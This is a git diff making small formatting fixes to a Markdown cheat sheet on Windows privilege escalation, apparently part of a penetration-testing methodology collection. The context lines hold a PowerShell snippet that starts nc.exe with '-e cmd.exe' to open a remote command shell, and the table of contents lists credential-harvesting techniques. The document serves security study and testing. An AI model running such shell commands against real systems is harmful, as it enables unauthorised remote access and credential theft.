diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index 2b67480..4283e23 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -12,7 +12,7 @@ * [Search for file contents](#search-for-file-contents) * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) - * [Passwords in unattend.xml](#passwords-in-unattend.xml) + * [Passwords in unattend.xml](#passwords-in-unattendxml) * [Wifi passwords](#wifi-passwords) * [Passwords stored in services](#passwords-stored-in-services) * [Powershell history](#powershell-history) @@ -712,9 +712,9 @@ C:\Windows\System32\runas.exe /env /noprofile /user: "c:\us ``` ```powershell -$ secpasswd = ConvertTo-SecureString "" -AsPlainText -Force -$ mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) -$ computer = "" +$secpasswd = ConvertTo-SecureString "" -AsPlainText -Force +$mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) +$computer = "" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) ``` @@ -979,4 +979,4 @@ Detailed information about the vulnerability : https://www.zerodayinitiative.com * [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/) * [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS) * [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html) -* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf) \ No newline at end of file +* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)